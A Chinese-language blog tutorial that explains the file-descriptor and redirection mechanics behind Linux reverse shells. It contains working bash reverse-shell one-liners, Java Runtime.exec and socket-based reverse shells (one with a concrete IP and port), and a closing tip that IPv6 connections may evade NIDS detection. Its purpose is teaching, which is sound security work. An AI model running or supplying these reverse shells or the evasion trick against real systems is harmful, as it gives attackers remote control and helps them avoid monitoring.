前言
最近一直在看反弹shell,网上也有大量地一句话反弹shell,如各种环境下反弹 shell 的方法,linux各种一句话反弹shell总结。但是鲜有文章讲明这些反弹shell的原理。即使有文章讲,但是感觉也没有讲清楚。这个问题也一直困扰了很久,通过自己查阅资料,问朋友,做实验,最终才将这个问题差不多搞懂了。如果文章中有不对的地方也欢迎各位师傅来交流。
反弹shell举例
最常见的反弹shell的写法是:1
bash -i >& /dev/tcp/ip/port 0>&1
在讲解具体的反弹shell的原理时,我们首先必须要了解Linux中文件描述符和重定向这两个概念。
文件描述符&重定向
首先需要知道在Linux中一些基本的尝试,如文件描述符(File Descriptor,fd)。在Linux中有如下的定义:
- 文件描述符0 表示标准输入
- 文件描述符1 表示标准输出
- 文件描述符2 表示标准错误
所以在一般情况下,文件描述符表的指向如下:
在Linux中,>
表示重定向的含义。表示将一个命令的输出输入重定向到另外一个地方。比如我们使用ls -all > tmp.txt
,就是表示我们将ls -all
的结果不是直接在terminal上面输出,而是写入到tmp.txt
文件中。
其实在Linux下本质的原因是,命令command > file
就等价于command 1>file
。由于1表示的是标准输出。由于出现了1>file
,所以文件描述符表就会发生变化。此时变为了:
Bash会打开文件file,然后将文件描述符1的指针指向file。所以所有的输出是写入到文件描述1,由于现在文件描述符1已经指向了file,所有所有的输出全部都会写入到文件中。这也就是为什么当我们使用类似于ls -all > tmp.txt
时,ls -all
的结果会全部写入到tmp.txt
中。
这个只是一些最基本的情况。我们在反弹shell中可能最常见的命令是>&
或者&>
。我们进一步进行说明。命令command &>file
(也等同于command >&file
,此后这种情况将不再作说明)。这个&>
就是将command
命令的输出和错误全部重定向到file
中,这是一种快速简单的重定向的写法。所以执行command >&file
之后,文件描述符变为了:
其实command >&file
这种写法也等价于command >file 2>&1
。(其中2>&1
表示的就是将文件描述符2重定向到文件描述符1)。下图展示了这个文件描述表的变化过程。
需要注意的是,在Linux中文件的重定向的顺序是非常重要的。上述的command >file 2>&1
和command 2>&1 >file
执行得到的结果是完全不一样的。下图展示的是command 2>&1 >file
的文件描述符的变化过程。
通过文件描述符的最终状态就可以看出来,最终执行完毕command 2>&1 >file
,只有文件描述符1指向的是file
。这样的情况和command >file 2>&1
是完全不一定的。
更多地关于文件描述符的详情可以参考文章Bash One-Liners Explained, Part III: All about redirections
特殊情况
在上一节中讲到的文件描述符0、1、2d都是系统默认的文件描述符,所以3之后的数字我们都可以自行使用。以下就用一个简单的例子来说明:
echo "123456">test.txt
是创建一个test.txt,文件内容是123456exec 3<test.txt
,创建文件描述符3,并将文件描述符3指向test.txt
grep "1" < &3
,此时文件描述符3充当了文件描述符1的功能,作为了grep
命令的输入,最终查询得到了结果
但是还有一类比较特殊的文件重定向用法<>
,表示同时对文件进行读写操作。示例如下:
echo "456789">test2.txt
创建test2.txt文件,文件内容是456789exec 5<> test2.txt
,以读写模式打开托test2.txt,同时将文件描述符5指向test2.txtread -n 3 var <&5
,从文件描述符5中读取前3个字符echo $var
,打印得到456。
反弹shell分析
上一节的两种方式都是可以用作反弹shell的,分别是bash -i >& /dev/tcp/ip/port 0>&1
这种方式以及bash -i 5<>/dev/tcp/host/port 0>&5 1>&5
方式。这两种方式的原理其实都是类似,下面对其进行简要的分析。
方式一
1 | bash -i >& /dev/tcp/ip/port 0>&1 |
bash -i
创建一个交互式的bash进程/dev/tcp/ip/port
,linux中所有的程序都是以文件的形式存在。这句话的意思与ip:port
建立了一个TCP连接。>&
command >&file
这种写法也等价于command >file 2>&1
。(其中2>&1
表示的就是将文件描述符2重定向到文件描述符1)0>&1
将标准输入重定向到标准输出。
下图说明了上述命令的文件描述符的变化过程。
通过整个变化过程,我们就可以很清晰地看到最终是完成了反弹shell。
方式二
1 | bash -i 5<>/dev/tcp/host/port 0>&5 1>&5 |
同理,我们按照上述的分析方法对这个反弹shell进行分析。
5<>/dev/tcp/host/port
,以读写的方式打开/dev/tcp/host/port
,并将文件描述符5重定向到/dev/tcp/host/port
0>&5
,将文件描述符0(标准输入)重定向至文件描述符51>&5
,将文件描述符1(标准输出)重定向至文件描述符5
下图说明了上述命令的文件描述符的变化过程。
最终的效果就是文件描述符0(标准输入)和文件描述1(标准输出)全部都重定向到/dev/tcp/host/port
,从而就完成了反弹shell。
方式三
1 | exec 5<>/dev/tcp/ip/port;cat <&5 | while read line; do $line >&5; done |
exec 5<>/dev/tcp/ip/port
,以读写的方式打开/dev/tcp/ip/port
,并将文件描述符5重定向到/dev/tcp/ip/port
cat <&5
,将文件描述符5的重定向到cat
中,即cat读取到&5
的内容。结合1就是cat会读取/dev/tcp/ip/port
中shell的输入内容。|
,管道符。将cat读取的结果作为后面的输入;while read line; do $line >&5; done
,拆开看。while do done
是shell中while
的规定语法。其中read line;
表示的就是会循环读取cat <&5
的内容,赋值到line
变量中,之后$line
会执行line
语句中的命令,最后>&5
,表示将当前bash的输出和错误重定向至文件描述符5中,即/dev/tcp/ip/port
。
下图说明了上述命令的文件描述符的变化过程。
相信通过上面的三个例子应该对不同形式下的反弹shell有个清新地认识,至于不同版本或者是不同语言的反弹shell其实都是上面的变形而已。
写完之后才发现在先知上已经有两篇很详细地文章了,Linux反弹shell(一)文件描述符与重定向、Linux 反弹shell(二)反弹shell的本质。
java反弹shell
常见方式
说到Java发弹shell,网上所有的java反弹shell使用的都是:1
2
3r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.31.41/8080;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])
p.waitFor()
首先["a","b","c] as String[]
这种写法没有见过,至少我在jdk1.8上面测试是失败的,正常的写法应该是new String[]{"a","b","c"}
这种写法。那么上述的写法就变为:1
2
3Runtime r = Runtime.getRuntime();
Process p = r.exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/ip/port;cat <&5 | while read line; do $line 2>&5 >&5; done"});
p.waitFor();
可以发现能够成功地反弹shell。
举一反三,既然上述的这种可以,那么下面这种也同样可以:1
2
3Runtime r = Runtime.getRuntime();
Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/ip/port 0>&1"});
p.waitFor();
通过分析,其实上面的这两种反弹shell的命令非常容易理解。/bin/bash
是需要运行的程序。而-c
和bash -i >& /dev/tcp/ip/port 0>&1
都是作为/bin/bash
的参数,我们都知道bash -c "cmd string"
,就是使用shell去运行cmd string
字符串,所以上述的命令就是利用shell运行bash -i >& /dev/tcp/ip/port 0>&1
,这就和直接在bash中输入bash -i >& /dev/tcp/ip/port 0>&1
的效果是一样的。
当然像这样的例子还能够写很多。
特殊方式
上面说的反弹shell的方式其实还是利用常见的bash
反弹shell的原理。既然在java中也存在socket
,那么我们就可以直接利用Java中的socket建立连接进行反弹shell。如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29String host=host;
int port=port;
String cmd="/bin/sh";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()) {
while(pi.available()>0) {
so.write(pi.read());
}
while(pe.available()>0) {
so.write(pe.read());
}
while(si.available()>0) {
po.write(si.read());
}
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
}
catch (Exception e){
}
};
p.destroy();
s.close();
我们直接通过Socket s=new Socket(host,port);
这种方式,按照https://docs.oracle.com/javase/7/docs/technotes/guides/net/ipv6_guide/的说明:
You can run the same bytecode for this example in IPv6 mode if both your local host machine and the destination machine (taranis) are IPv6-enabled.
即如果目标机器和本地机器都支持IPv6,则使用IPv6。在本地实际测试的结果也是如此:
这种特性有什用呢?其实很多NIDS考虑到目前大部分的网络行为都是IPv4的,所以基本都是检测的IPv4的地址,也就是说IPv6的通信流量有一定的概率能够绕过NIDS的检测。